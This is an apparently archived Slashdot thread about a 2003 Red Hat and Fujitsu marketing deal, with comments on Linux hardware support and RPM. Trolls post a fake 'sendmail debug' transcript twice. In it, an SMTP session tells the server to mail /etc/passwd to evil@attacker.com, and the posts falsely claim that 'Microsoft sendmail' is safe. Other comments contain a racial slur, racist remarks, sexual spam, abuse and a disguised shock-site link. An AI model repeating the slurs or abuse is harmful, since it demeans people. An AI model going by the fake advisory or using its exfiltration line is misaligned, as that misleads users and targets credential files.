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RedHat, Fujitsu Enter Into Marketing Agreement

timothy posted more than 11 years ago | from the smartness dept.

Linux Business 137

andyring writes "According to Cnet, RedHat and Fujitsu signed a partership agreement where the companies will jointly develop and market for Fujitsu's products. Fujitsu hs a strong presence in Asia, a place Microsoft has been trying to cultivate."

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first racism (-1, Troll)

Anonymous Coward | more than 11 years ago | (#5917567)

death to all black niggers!!

and trinity dies at the end of the matrix reloaded!!

*fap* *fap* *fap* Unf! (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917574)

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Re:*fap* *fap* *fap* Unf! (-1, Offtopic)

EmagGeek (574360) | more than 11 years ago | (#5917673)

Damn I wish I hadn't posted to this thread before reading this post. This is first-rate comedy... It's too bad the MPAA owns a patent on online comedy, but since they have never enforced their rights, they probably will lose their patent. Maybe they can sue under the DCMA for infringement or something. I guess they've been too busy working with Micro$oft and the stupid government to take away our fair use rights to worry about enforcing it. Next thing you know, those cheese-eating surrender monkeys will start downloading all kinds of stuff on P2P networks, but that's ok because they wouldn't have bought the stuff in a store without first having listened to it. Piracy isn't theft anyway, it's just trying before you buy. If music weren't such garbage, it might be worth taking a risk. And, anybody who doesn't agree with me is probably a commie pinko bastard. I swear, with God's help, I'll turn back the aggressors against my karma. Victory is near!

Re:*fap* *fap* *fap* Unf! (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917815)

I'd mod you as interesting, except that you're a little offtopic and posting anonymously. Kind of interesting how it's okay to parody everything exceptslashdot...

Well, hopefully the moderators will learn someday.

Oh, and my Iraqi information minister says that there is no DCMA, and the RIAA and MPAA are committing suicide at the Gates of Microsoft who hates everything Linux. If the French weren't such cowards we would have beat the imperialist americans by now.

Karma: dead (mostly affected by committing Karmacide: the posting of something intellectual or unpopular on slashdot)

woohoo (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917575)

yeeeeehawwwwwww first post for me.

maybe.

i doubt it.

but still possible.

YOU FAIL IT! (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5918897)

YOOOOUUUUUUUU FAIL IT!

MAYBE?

NO, DEFINITELY FAIL!

Lameness filter encountered. Post aborted!
Reason: Don't use so many caps. It's like YELLING.

is this bad for sun (0, Insightful)

Miguel de Icaza (660439) | more than 11 years ago | (#5917578)

arn't fujistu supposed to be McNeally's buddies?

Re:is this bad for sun (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917591)

Miguel, is that really you!? I'm your biggest fan! Now, when the fuck are you Ximian weasels going to release Ximian Desktop 2.0 and when are you going to have support for Red Hat 8/9? I mean, fucking RH 9.0 is out now and you fuckers aren't even supporting 8.0!? Get with the fucking program!

P.S. Your support pages say, "release in spring of 2003". Well guess what, it's almost fucking summer time, motherfuckers! Hurry the FUCK up or I'll be forced not to use your product. :)

Anyway, I still loves yah. But for the love of christ, hurry the FUCK up!

Heh (5, Interesting)

GigsVT (208848) | more than 11 years ago | (#5917580)

Used to be when you bought floppy disks, sometimes you could get a bonus floppy disk that had a MS entertainment pack on it.

Imagine all hard disks coming preloaded with a self-configuring Linux distro. That would be cool. :)

Re:Heh (1, Funny)

yatest5 (455123) | more than 11 years ago | (#5917836)

self-configuring Linux distro

Man, you are too funny.

Re:Heh (0)

Anonymous Coward | more than 11 years ago | (#5917863)

Already happening. Someone I know got a new MB and it came with a CD OpenOffice.

Re:Heh (0, Flamebait)

yatest5 (455123) | more than 11 years ago | (#5917865)

Yes, because when I buy a hard disk, I *want* it to be full of shit I don't want.

Re:Heh (0)

wheany (460585) | more than 11 years ago | (#5917901)

Well maybe when you buy a pack of Hard disks, you could get a bonus harddisk that has Redhat entertainment pack on it.

Woohoo the acme of open source entertainment: BzFlag and TuxRacer!

Re:Heh (0)

Anonymous Coward | more than 11 years ago | (#5917991)

mkfs (or format C:) will not take any longer no matter how much is on the disk when you buy it.

Re:Heh (-1, Troll)

yatest5 (455123) | more than 11 years ago | (#5918044)

mkfs (or format C:) will not take any longer no matter how much is on the disk when you buy it.

Dear fuckwit, hard disks come ready formatted.

Re:Heh (0)

Anonymous Coward | more than 11 years ago | (#5918755)

Here's a tip for you, as it seems you don't know shit. Reformatting is a easy way to get rid of all the shit on a hard disk.

Re:Heh (0, Flamebait)

yatest5 (455123) | more than 11 years ago | (#5918776)

Listen dickface, why should I have to reformat my BRAND NEW FUCKING DISK just because some virgin cockslurpers wanted to put Linux on it?

Fujitsu HD's (1)

Talisman (39902) | more than 11 years ago | (#5917897)

"Imagine all hard disks coming preloaded with a self-configuring Linux distro. That would be cool."

Yeah, and being familiar with real-world (not claimed) MTBF rates for Fujitsu hard drives, you will get to experience that coolness over and over again.

Talisman

Re:Heh (0)

Anonymous Coward | more than 11 years ago | (#5918043)

And when you try to install Windows to it, you it fails because the disk already has "unknown" partitions.

Re:Heh (1)

Nakarti (572310) | more than 11 years ago | (#5918830)

Yeah, wouldn't it be cool since it's already trivial?
Howso? Start installing some distro that configures hardware after setting up all the software and rebooting.
I've done it with Lindows on my laptop since I lack a hard drive, and it doesn't take much longer than subsequent boots.

well i (1)

REBloomfield (550182) | more than 11 years ago | (#5917583)

only hope that fujitsu have improved their hardware choices. they were our standard platform for years before we moved to dell, on the basis that nothing would ever be recognised with the exact drivers that shipped with the system. Video cards being the worst... and we all know what linux is like with odd hardware... or is that just my mate and his new laptop. did he swear.....

Re:well i (1, Interesting)

Anonymous Coward | more than 11 years ago | (#5917600)

Fujitsu has made some really decent high-end equipment, scanners and data storage equipment. Seems only natural to partner with Linux, who's becoming King of the datastore.

working with linux may help hardware consistency (4, Interesting)

feepcreature (623518) | more than 11 years ago | (#5917671)

Fujitsu's working with linux should increase the chance of getting linux-compatible hardware in their business-centred market (it's enterprise server, after all).

A side effect of this could well be to reduce the variability of hardware and drivers - if only because the lack of specific drivers makes linux less forgiving of random throwing together of components. They'll HAVE to try harder if they want it to work.

Re:working with linux may help hardware consistenc (1)

REBloomfield (550182) | more than 11 years ago | (#5917677)

either that, or we'll see a lot more drivers being developed, which is a good thing as well. But lets hope the people with the resources (ie. fujitsu) take the lead first... the OS crowd have better things to do at the mo'..

No probs with my laptop (2, Informative)

fille (575662) | more than 11 years ago | (#5917754)

Strange, I own a laptop of Fujitsu-Siemens and Linux (Redhat 8) has no problems with the hardware. Even sound, etc works great out of the box. And it's a very cheap model (Liteline 5133 I think)..

waggly cocks (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917588)

waggle waggle oi love to waggle
wiggle
woggle
my cock

wuggle wiggle

i like to woggle my cocks
waggling

Re:waggly cocks (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917599)

You have several cocks?

Fucking freak.

Alert! (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917593)

Guys -

I've found a problem with most Linux releases (I know Redhat, Gentoo, and SUSE at least). It appears that sendmail was compiled with the debug flag ON (in the case of Gentoo, configured to build with the debug flag). This is bad news, and here is why - check out what I did to my own Redhat box running the latest -

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from:
250 OK
rcpt to:
250 OK
data
354 Start mail input; end with .
mail evil@attacker.com /etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

Names changed to protect the innocent of course. But I can email myself your password and shadow file! This is BAD.

I checked out Microsoft sendmail, and it isn't vulnerable. I'd suggest switching to it before you get 0wn3d.

Open Source bigots do it again! (-1, Flamebait)

Anonymous Coward | more than 11 years ago | (#5917616)

The parent post was modded down to -1 because it exposed a fatal flaw in common Linux distributions and pointed out that Microsoft product does not have this flaw.

Fuck you cock-smoking, cumslurping dirty gnu hippy moderators!

Re:Alert! (0, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917620)

Tried it out on a RH 7.3 as well as RH 8.0 system:

250 localhost.localdomain Hello porthos [127.0.0.1], pleased to meet you
debug
500 5.5.1 Command unrecognized: "debug"

Nice try. ;-)

Re:Alert! (0, Offtopic)

REBloomfield (550182) | more than 11 years ago | (#5917661)

this has been fixed for years. although interestingly, cheswick and bellovin rewrote the mailer to respond to this attack, but the commands are mailed to the admin. it was released with System V, and is demonstrated in their 'berferd' incident.

Re:Alert! (0)

Anonymous Coward | more than 11 years ago | (#5917676)

Nice try. ;-)

Yeah and you fell for it... stop feeding the trolls ;-)

"I checked out Microsoft sendmail" (-1)

Anonymous Coward | more than 11 years ago | (#5917629)

Muhahahahhahahahhhahahhahaha !!!!!

Nice for parent !

Karma bonus +5 Futuristicaly funny

Strong Exposure (-1, Troll)

Lieutenant_Dan (583843) | more than 11 years ago | (#5917608)

I find it comprehensible that the main powers in Asia (China, Japan, S. Korea, Nigeria and Liechtenstein) will now have the opportunity to convalesce RedHat software produce. Their Lunix OS can obtain repressible heights in those markets where cost, quantity, availability and relativity are key factorials.

It would probably assist their caucus if they prolonged the inevitability of their actions by portruding software partners who divulge important applications. This would sweeten the ball on their court.

What do you think?

What do I think? (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917635)

I think I love you. So what am I so afraid of?

Waggly. Waggly waggly. Remember JesusGeek [jesusgeeks.net] s loves you! [goatse.cx]

Re:What do I think? (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917653)

I think I love you. So what am I so afraid of?

Tina Fabulous, is that you?

Re:What do I think? (0)

Anonymous Coward | more than 11 years ago | (#5917734)

Dude... it's "Ka Ci".... (or so was the most recent version, anyway).

Re:Strong Exposure (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917638)

Such elegant gibberish, old chap. It was just like reading Spike Milligan all over again. :-)

Re:Strong Exposure (-1, Flamebait)

Anonymous Coward | more than 11 years ago | (#5917988)

What cunt said this comment was offtopic? I was replying to the original "Strong Exposure" post - i.e. calling him a prat - in what way is that off-topic.

You need to learn to read, pal!

Re:Strong Exposure (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917974)

Asia (China, Japan, S. Korea, Nigeria and Liechtenstein)

Obvoius troll, like anyone would believe that Nigeria and South Korea are in Asia. Here's a clue Nigeria -> Niggers see the connection????

this could be very good (5, Insightful)

the-dude-man (629634) | more than 11 years ago | (#5917609)

This could be a very good for linux....it provides a very large scale devlopment enviornment for linux...and lead to more submissions, and review of code...not to mention more discoverys of bad design and security holes...

maybe redhat will find out that by having everything tunred on by defaut, and having to work for 2 hours to turn it all off really pisses off sysadmins.

I've been finding redhat to be a progressivly more and more annyoing linux distro, but this could be their chance to turn things around. Personally i opt for gentoo....small, secure, and works very well. With the amount of attention they will get from devlopment with this, Red hat could follow that line.

at the very least i hope they will get rid of the "rpm hell" that people go thru when you go to upgrade major components.

Re:this could be very good (3, Insightful)

Lord Kholdan (670731) | more than 11 years ago | (#5917788)

Are you saying that as amount of Linux users increase so does the amount of people contributing to Linux? I dont buy that. Those people who are interested in messing around kernel already have Linux (or *BSD) installed, those who are the potential growth market for Linux are the people who dont know what is the difference between browser and Internet and dont really care. Now, I dont mean this in a bad way, heck, in a way I'm one of those people. That's just the way it is.

Re:this could be very good (3, Insightful)

dsplat (73054) | more than 11 years ago | (#5918368)

Actually, I do buy the argument because we've been seeing it. I'm using a driver for my NIC that was developed by Intel and nVidia developed the driver for my graphics card. Because of the number of people using Linux, there is a large enough market to make it worthwhile to develop the drivers. Okay, that doesn't add knew core functionality, but it generates a virtuous cycle. New hardware is better supported now than it was a few years ago. That makes adoption of Linux even more attractive for people who don't want to hack the kernel or don't have the time because they are working on other things, like porting apps to Linux. It's the Network Effect. Some products become more useful simply because their user base grows. Communication technologies are the classic example of that.

Re:this could be very good (1)

mmol_6453 (231450) | more than 11 years ago | (#5918562)

Don't forget that there are a lot of potential future kernel hackers still in diapers right now, and a greater Linux marketshare will result in them being exposed to Linux sooner.

Re:this could be very good (1)

laughing_badger (628416) | more than 11 years ago | (#5917791)

at the very least i hope they will get rid of the "rpm hell" that people go thru when you go to upgrade major components.

I agree that upgrading major components in an RPM based system can be a pain.

However, the people that RedHat are trying to sell to usually don't want to do this. They want to buy a system that will run non-stop for five years. They realise they won't get this of course, but the most that they want to do is apply tiny incremental fixes to the versions of the packages that they started with. Once you have a system in production, doing a job, you leave it alone, except for security or stability fixes.

Re:this could be very good (2, Interesting)

the-dude-man (629634) | more than 11 years ago | (#5917829)

this is true, however, anyone running red hat who installed with kde 3.0 and wants to update to kde 3.1 may as well re install red hat 9.0...lord knows that that is easier than trying to get kde 3.0 out and compiling and installing 3.1 (or doing it from rpm) trust me, ports makes life much easier

Ghost (2, Insightful)

Talisman (39902) | more than 11 years ago | (#5917954)

"maybe redhat will find out that by having everything tunred on by defaut, and having to work for 2 hours to turn it all off really pisses off sysadmins."

The same thing can be said about Windows machines, especially from Win2K forward. They are highly configurable, if you know wtf you are doing, and the MS defaults are often insecure, useless or just annoying. SP3 addresses many issues, but it still requires lots of registry tweaking and time spent using the Admin tools to get everything *just* right.

So what I do is have one IMAGE machine that is always kept *perfectly* tweaked, with all the latest patches, bug fixes, upgrades, etc. installed, so when we get a new machine or one of the existing ones takes a dump, I just Ghost the tweaked machine and 5 minutes later, the workstation is good-to-go.

The same can be done for Red Hat machines.

Talisman

Re:Ghost (0)

Anonymous Coward | more than 11 years ago | (#5918030)

Your quite right on this point....MS Has been getting better (by ripping on unix mostly...but thats a whole other discussion ) but Redhat is a little different...for destop redhat boxes, your absolutly right....image...rollout...your done.

However, for servers, its not so hot. The configuration for a Radius authentication server, and a Postfix mail server, are so different, an image just isnt possible. You'd end up reconfigureing agian, to turn off all the stuff you left on, and to turn on alot of the stuff you turned off.

Ethier way, with a good default config (everything but system turned off) life becomes easier

Re:this could be very good (5, Insightful)

adamfranco (600246) | more than 11 years ago | (#5918204)

at the very least i hope they will get rid of the "rpm hell" that people go thru when you go to upgrade major components.

Ahhh, RPM hell, how I've missed you since I switched to...

...RedHat? Apt-get and its Synaptic GUI both run on RedHat and Matthias Saou of FreshRPMs [freshrpms.net] maintains a giant archive of currently 1655 packages specifically for RedHat.

Since I went back to RedHat last November after years with Mandrake and Libranet, I have yet to install an RPM. Every week I just do an
apt-get update
apt-get upgrade
and get all of the patches for security holes posted here on /.

RedHat should really toss some coin or at least help at FreshRPMs as they make RedHat the perfect compromise for people like me who love Linux (haven't used any Microshaft product in 9 months, with the exception of using Windows to play BF1942 for 3 hours/week), but "just want it work". My flat-mate is a complete Gentoo fan and seems to actually enjoy tweeking his kernel every week or so. Well, actually, he has to keep tweeking his kernal because there always seems to be a problem with USB or Raid or some other problem. So what does he do? He comes over to my RedHat box to download photos from his camera. For me at least (a medium-grade Linux user -- I write a lot of bash scripts...) the RedHat/apt-get combo is the ideal combination of ease-of-use, prettiness, and power.

In addition, I've found that a pretty KDE setup is one of the best ways to generate Linux converts, especially when you show the the 35seconds it takes to install DVD software (Ogle) or upgrade all the software on your system, all through the VERY pretty and simple Synaptic GUI.

Re:this could be very good (1)

schotty (519567) | more than 11 years ago | (#5918889)

I agree. I got several buddies hooked on linux by giving them a copy of RedHat, and a short (as you already know) and easy 3 line install instructional on how to get apt-rpm and synaptic and how to use it. In fact you cant make it any easier. "Hmm, lets install this program here..." CLICK CLICK Waits as modem/NIC downloads the selection and all deps... Tum de dum... Finished. "Alrighty. Now off to Frozen Bubble!"

Re:this could be very good (1)

johnnyb (4816) | more than 11 years ago | (#5918674)

What's really good is that Fujitsu global services is heavily tied to EDS (at least here in Tulsa). EDS contracts support on all it's boxes to Fujitsu, so having them support RHAT is a good thing.

RedHat's Asian efforts... (3, Informative)

jkrise (535370) | more than 11 years ago | (#5917612)

can be summarised as:
1. Providing RHCE certfication exams, and certs.
2. Poor or no mirrors for downloading distros.
3. Little or no support offerings for their products.
4. Few relationshipd with h/w vendors that matter in Asia.

Only the last is being addressed here. Even little known firms like Turbo Linux have a huge base in Asia, by virtue of having strong support base and relationships.

Re:RedHat's Asian efforts... (0)

Anonymous Coward | more than 11 years ago | (#5917701)

4. Few relationshipd with h/w vendors that matter in Asia.
Is relationshipd also turned on in RedHat by default?

Re:RedHat's Asian efforts... (3, Interesting)

arvindn (542080) | more than 11 years ago | (#5918227)

I speak as an Indian, but I imagine the situation is similar in some other Asian countries as well.

1. Providing RHCE certfication exams, and certs.

Which is great, because IT graduates here are crazy about things like that.

Poor or no mirrors for downloading distros.

Doesn't make much of a difference, considering the bandwidth situation and that the primary method of distribution is CDs.

Little or no support offerings for their products.

Well, people don't even pay MS (though that's changing recently), how do you expect them to pay RH??

Few relationshipd with h/w vendors that matter in Asia.

This is the thing that matters most. Which is why I'm very happy about this move.

Clever RedHat (3, Insightful)

Rosco P. Coltrane (209368) | more than 11 years ago | (#5917617)

It looks like little RedHat is making big powerful friends to deter SCO from even thinking of harassing them [com.com] . That's pretty clever if that's the case.

Re:Clever RedHat (0)

Anonymous Coward | more than 11 years ago | (#5918118)

Well of course! That just simply has to be the reason behind the agreement.

Ambivalence (3, Interesting)

EmagGeek (574360) | more than 11 years ago | (#5917622)

I've had nothing but trouble getting linux to work on the three fujitsu laptops that I've owned.

But, at the same time, maybe this means we'll be able to buy laptops with linux pre-installed again, which would be a wonderful wonderful thing.

Maybe I'll have to consider fujitsu laptops again, so long as they're not still twice the price of an equivalent Compaq...

Re:Ambivalence (0)

Anonymous Coward | more than 11 years ago | (#5917724)

My friend has a lifebook with linux on it. That machine is his lifebook in more ways than one. He carries it everywhere and does everything on it. It is possible, you just aren't l33t enough.

Re:Ambivalence (1)

fille (575662) | more than 11 years ago | (#5917767)

Again (see above), I own a Liteline 5133 and Redhat works like a charm on it. It recognised almost all devices out of the box. Maybe it was some time ago you tried to install linux? Newer distributions have far better hardware support, I think..

Re:Ambivalence (1)

Arjuna Theban (143564) | more than 11 years ago | (#5917945)

I'm writing this on a Lifebook C-6630 running Slackware and having reinstalled both W2000pro and Slack on it, I can say the latter was much, much easier and smoother.

The one and only glitch I have with it is to have to resample sound to 48k, because the sound card can't handle anything else. The crossfade plugin does this for xmms and mplayer resamples itself.

-bm

Re:Ambivalence (1)

The-Perl-CD-Bookshel (631252) | more than 11 years ago | (#5918027)

You need a Lifebook P-Series. I have a 2120 and it runs winxp pro AND RedHat flawlessly. There is a ton of information at LEOG.net about putting Linux on the little P-Series books.

Re:Ambivalence (2, Interesting)

Skater (41976) | more than 11 years ago | (#5918875)

I've installed Linux on two Fujitsu laptops. Other than the winmodem in one, they both work well. My 435Dx laptop, which has a Pentium 133 MMX processor, just won't die. Over the years it has had several Slackware versions on it and one Mandrake version. (Okay, I did have to buy new batteries, a new hard drive, and more memory for it.)

The other Fujitsu laptop I installed Linux on was a C- series, but I don't remember the exact number. It was even easier than the 435Dx.

The next laptop I buy will definitely be a Fujitsu.

--RJ

Dosen't make sence (1, Funny)

rinkjustice (24156) | more than 11 years ago | (#5917626)

Isn't Fujitsu the company that ruined their name with all those faulty harddrives? Why would Redhat even entertain the notion of a business agreement, so close after such a major image disaster (que harddrive/"image" pun)?

Re:Dosen't make sence (-1)

Anonymous Coward | more than 11 years ago | (#5917738)

no, thats IBM !!

blah blah bvlah balh

makes sense for both of them (2, Insightful)

feepcreature (623518) | more than 11 years ago | (#5917750)

It's good for both parties (and the rest of us).

Open Source in general can use all the (competent) help it can get - and Fujitsu seems to be contributing development resources. This will help the Red Hat distros in particular, but also linux in general.

And Fujitsu can only benefit from supplying servers that run a reliable and cost-effective O/S. Increasing their reliability factor can only be a good thing after the disk problems you mention.

Re:Dosen't make sence (2, Informative)

ocelotbob (173602) | more than 11 years ago | (#5917794)

RTA. This isn't about consumer grade, or even professional grade products. This is about enterprise grade products. Redhat's trying to push into the six figure+ server market, a market that you need marketing agreements to get into, as such a market doesn't want their systems to go down. Ever. Fujitsu, though they're shaking off a bad rep in the drive market, still is pretty well known for their servers.

Re:Dosen't make sence (-1)

ThatMadeNoSense (651445) | more than 11 years ago | (#5918142)

Dosen't make sence

That made no sense.

I would never buy Redhat or Fujitsu (-1, Troll)

Anonymous Coward | more than 11 years ago | (#5917630)

Redhat is littered with vulnerabilities, and if Fujitsu does business with them they are crazy.

Check out the vulnerability I found in the latest Redhat Linux distro - it appears that they built sendmail with the debug flag ON (I've changed the hostnames so you guys can't 0wn m3 -

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from:
250 OK
rcpt to:
250 OK
data
354 Start mail input; end with .
mail evil@attacker.com /etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

I checked out Microsoft sendmail, and it isn't vulnerable. I'd suggest switching to it before you get 0wn3d.

Re:I would never buy Redhat or Fujitsu (1)

gilesjuk (604902) | more than 11 years ago | (#5917838)

RedHat is also the number 1 Linux brand with partnerships with some big players.

Yes I'm sure the desktop version does have vulnerabilities, this is probably why they also do high server products which you have to buy.

Microsoft (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#5917637)

now, suck my dick microsoft!

Fujistu has got a past in supporting alterntive OS (3, Informative)

OberonX (115355) | more than 11 years ago | (#5917660)

I remember Fujitsu being one the first PC companies adding BeOS to their PCs in Japan during the brief glorious of BeOS a few years back. I can't find the story now but it was quite big for the small BeOS community.

Re:Fujistu has got a past in supporting alterntive (0)

Anonymous Coward | more than 11 years ago | (#5918272)

s/Fujitsu/Hitachi/ [beatjapan.org]
--
AC in Japan

Asia, a place M$ has been trying to cultivate... (4, Funny)

da5idnetlimit.com (410908) | more than 11 years ago | (#5917675)

Are we speaking of this world region where 1 licence is usually enough to cover the needs of thousands of servers ? THE Place where information, if not free, comes dirt cheap at 1$/cd ?
And you tell me Microsoft is trying to cultivate it's business there ?

You mean, they sold a cluster and asked themselves why they didn't get that second Advanced Server Licence Order ? 8p

Re:Asia, a place M$ has been un-cultivating.. (1)

jkrise (535370) | more than 11 years ago | (#5917744)

" Are we speaking of this world region where 1 licence is usually enough to cover the needs of thousands of servers ?"

Asians pay exactly what their devalued currencies permit their conscience.

"THE Place where information, if not free, comes dirt cheap at 1$/cd ?"

Actually, $1/cd is a bit high. About 30 cents is the current going price.

"And you tell me Microsoft is trying to cultivate it's business there ?"
Coupla' months ago, His Billness spent 4 days in Asia, wooing Indians to buy his 'visionary' Tablet PC... he also apparently arm-twisted a few big firms there into taking off Linux from their offerings.

Asia is home to nearly half the World population. It's a huge market for anyone to ignore.

Re:Asia, a place M$ has been un-cultivating.. (0)

Anonymous Coward | more than 11 years ago | (#5917780)

.. into taking off Linux from their offerings.

Take off every Linux! For great Bill!

Microsoft farmer 1.0 (2, Funny)

arvindn (542080) | more than 11 years ago | (#5917679)

Fujitsu hs a strong presence in Asia, a place Microsoft has been trying to cultivate.

In that case I must say that Microsoft has been fairly successful: the economy of several Asian countries is primarily agricultural...

and EMEA (3, Informative)

bryam (449040) | more than 11 years ago | (#5917692)

Fujitsu have strong presence in EMEA, like Fujitsu-Siemens.

Samurai Wars (2, Interesting)

Hiigara (649950) | more than 11 years ago | (#5917699)

Microsoft will never expand very well into Asia, they will be stopped by these people first. http://www.samuraiwar.com/page.php?x=2166 Microsoft's main consumer base is because they have no other option they are familiar with. In asia it's the opposite. Microsoft is Linux (The new Guy) and the Asian OSs are Microsoft. Oh my god... did I just say Microsoft was Linux?! Forgive me Linus! Forgive me! *Cuts his wrists*

Alert! Software companies want to sell in Asia! (3, Interesting)

joebagodonuts (561066) | more than 11 years ago | (#5917700)

The post says "Fujitsu hs a strong presence in Asia, a place Microsoft has been trying to cultivate."

The article states "While Fujitsu lacks those competitors' market share, it does have a strong position in Asia, where Red Hat is trying to expand."

The article doesn't mention Microsoft.

Looks like someone woke up hating Microsoft today. (I know. This is shashdot. What do I expect?). This just strikes me as unneeded FUD generating bullshit. Of course, I'm a little grumpy myself. I need more coffee.

What? Companies want to sell software? In other news, the sky is blue, the sun is hot, and sex is enjoyable.

I know this post is against slashdot custom. It doesn't bash microsoft, and it implies that a slashdot member has gone outdoors and has even *gasp!* actually had sex! ;-)

Danger! Danger! Things we dont want to know about! (1, Funny)

madmarcel (610409) | more than 11 years ago | (#5917771)

"In other news, the sky is blue, the sun is hot, and sex is enjoyable."

Hey! Whoa! Stop that man! What are you thinking? What are you doing! This is /. man! Geez! ;^P

"WTF! The sky is blue??!?! Naaaaah. You're joking right... Eh? Sun? Is that this this...daystar you've been talking about? What? Sex? Wuh-min? Uh, dude I think you've spent too much time away from your monitor man. Here, have a foo-bar and some caffeine-loaded beverage."

(Hint for moderators: No, 's not a troll, I am 'extracting the urine' :^)

Re:Alert! Software companies want to sell in Asia! (1)

ocelotbob (173602) | more than 11 years ago | (#5917919)

Yes, that little quip may have been a bit over the top, but your line wasn't any better. Sure it could have probably been written better, but I think the point the submitter was trying to make was that this is gearing up to be a hotly contested region in the next few years. That this wasn't just RH going after some obscure part of the country, this is RH going after one of the major players.

it implies that a slashdot member has gone outdoors and has even *gasp!* actually had sex! ;-)

You, know, I already know this, and I also know you should try combining the sex and the outdoors some time. Very enjoyable. Just try to stay away from the dirt bike trails ;3

Re:Alert! Software companies want to sell in Asia! (1)

nagora (177841) | more than 11 years ago | (#5918126)

The article doesn't mention Microsoft.

So? Microsoft are trying to cultivate Asia, that's why Bill went over personally earlier this year. It's not FUD, it's a pretty well-documented fact. It's not even an anti-MS statement; what's your problem?

TWW

Re:Alert! Software companies want to sell in Asia! (1)

antiMStroll (664213) | more than 11 years ago | (#5918688)

Holding all of Slashdot to blame for Timothy submissions isn't fair or accurate. Of all the editors, he closest fits the goat/grits/Portman style. Need more examples, check out "Windows Security Through Annoyances?" and "RIAA Nightmare: Pro-level Portable Hard Disk Recorder" from the last 24 hours.

Localisation (1)

rf0 (159958) | more than 11 years ago | (#5917709)

Well with any luck this will help RedHat get ever more big iron support. ATM it has support from SGI in the shape of the Altix which scales to 64 CPU's using Itaniums 2's. TBH though I'm not sure of Futitsu marketing at the high end.

The only think I would like to see improved is RPM in being able to handel downloads and upgrades better rather than having to use apt-rpm. However good on them and good luck for the future

Rus

Fujitsu will fund Linux development (4, Interesting)

pchown (90777) | more than 11 years ago | (#5917732)

This is the more interesting part of the story. Fujitsu are going to pay for some engineers to work at RedHat offices, improving "performance, stability and the ability to run on large servers with heavy processing loads."

I am very encouraged by the number of companies prepared to take this step, bearing in mind that the GPL forces them to make the changes available for everyone.

I've long been puzzled as to why a company should pay for improvements to a system, if they then have to make these available to their competitors. I think perhaps there are two reasons. First, Linux is not Windows. Making Linux a better competitor to Windows helps Fujitsu more than they are hurt by having to give code away.

Secondly, companies focus on their own area. A company that makes, for example, 8-way AMD servers would focus on that area. Their competitors would have access to the code for running well on 8-way AMD servers, but if they don't make them it doesn't help.

GPL forces them to ... (1)

oliverthered (187439) | more than 11 years ago | (#5917973)

GPL forces them to make the changes available for everyone.

No it doesn't. If I take GPL code and use it in my company I don't have to realse it to anyone.

Re:Fujitsu will fund Linux development (2, Interesting)

drinkypoo (153816) | more than 11 years ago | (#5918449)

This is the more interesting part of the story. Fujitsu are going to pay for some engineers to work at RedHat offices, improving "performance, stability and the ability to run on large servers with heavy processing loads."

Kind of ironic since the only people who made hard drives less reliable than fujitsu's would be... dun dun dun MICROPOLIS! And we all know how their story ended.

I know that the unreliability of fujitsu hard drives has nothing to do with anything else but I still find it amusing.

Slashdot Stories (4, Insightful)

KoolDude (614134) | more than 11 years ago | (#5917805)


Fujitsu hs a strong presence in Asia, a place Microsoft has been trying to cultivate.

From the Article:

it does have a strong position in Asia, where Red Hat is trying to expand.

I know this is Slashdot, but modification of the article line to mention Microsoft(incorrectly) in the story just for attracting readers is not doing a great deal to improve anything. I like to bash Microsoft with jokes once in a while, but notes like this one are to be criticized, IMHO.

Re:Slashdot Stories (2, Funny)

BESTouff (531293) | more than 11 years ago | (#5918084)

What ?!? You actually read the article ? Are you new to /. or what ?

"A place Microsoft has been trying to cultivate" (0)

Anonymous Coward | more than 11 years ago | (#5917808)

Now that's a laugh. Microsoft does not try to cultivate. Microsoft tries to absorb all available nutrients by force, reconstituting any remaining inert materials into organic compounds if possible, and then extracting those as well.

And it does this everywhere.

Future for Linux? (4, Interesting)

salesgeek (263995) | more than 11 years ago | (#5917812)

I like what RedHat did - and what Fujitsu did even more. Looks like buyers of Fujitsu servers can expect good hardware support on Linux-based systems. I'm impressed that Fujitsu hired RedHat to do the work, and I'm equally impressed that RedHat had the brains to seek out a new revenue source.

I'm not sure this article has much to do with the SCO situation though.

Re:Future for Linux? (1)

adamfranco (600246) | more than 11 years ago | (#5918256)

Servers Shmervers. I'd like to see a Fujitsu laptop with RedHat pre-installed, with Fujitsu maintaining the drivers for it. That would be great.

Oracle 9i RAC (1)

bryam (449040) | more than 11 years ago | (#5917862)

Maybe Fujitsu support Primecluster [fujitsu-siemens.com] on RedHat Enterprise Linux AS?.

This product is one of the Oracle RAC architecture certified but only with Solaris.

Not Well-Know fact re Fujitsu. (2, Interesting)

zzztkf (574953) | more than 11 years ago | (#5917922)

Fujitsu has 128 Sparc compatible cpu / Solaris server in its line up. Hopefully, Joint effort between Fujitsu and RedHat would improve Linux capability on that front (I mean the capability to harness more CPU).
Here is a news release [slashdot.org] to announce that they will update server line-up with new SPARC compatible 1.35 GHz CPU in an attempt to take back No1 spot of TPC-C benchmark.

Fujitsu's CEO Mr. Akikusa has recently predicted that every chip will finally implement Linux.

The bad thing is Fujitsu is another Japanese company struggling to come back to be profitable.
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RMA (1)

Natchswing (588534) | more than 11 years ago | (#5918127)

That's a shame. In the years I worked in sales and tech support for a computer store in Florida we considered Fujitsu the RMA king because they had such a high percentage of new drives that were DOA. We eventually stopped offering Fujitsu drives.

Microsoft tax (1, Interesting)

RoboOp (460207) | more than 11 years ago | (#5918214)

Fujitsu makes great laptops. Moderately priced, light and very well built.

They could sell far more if they allowed you to purchase them without Microsoft products on them. It would be great if this new partnership allowed them to experiment with selling machines with RedHat preinstalled.

The Nature of Fujitsu (3, Interesting)

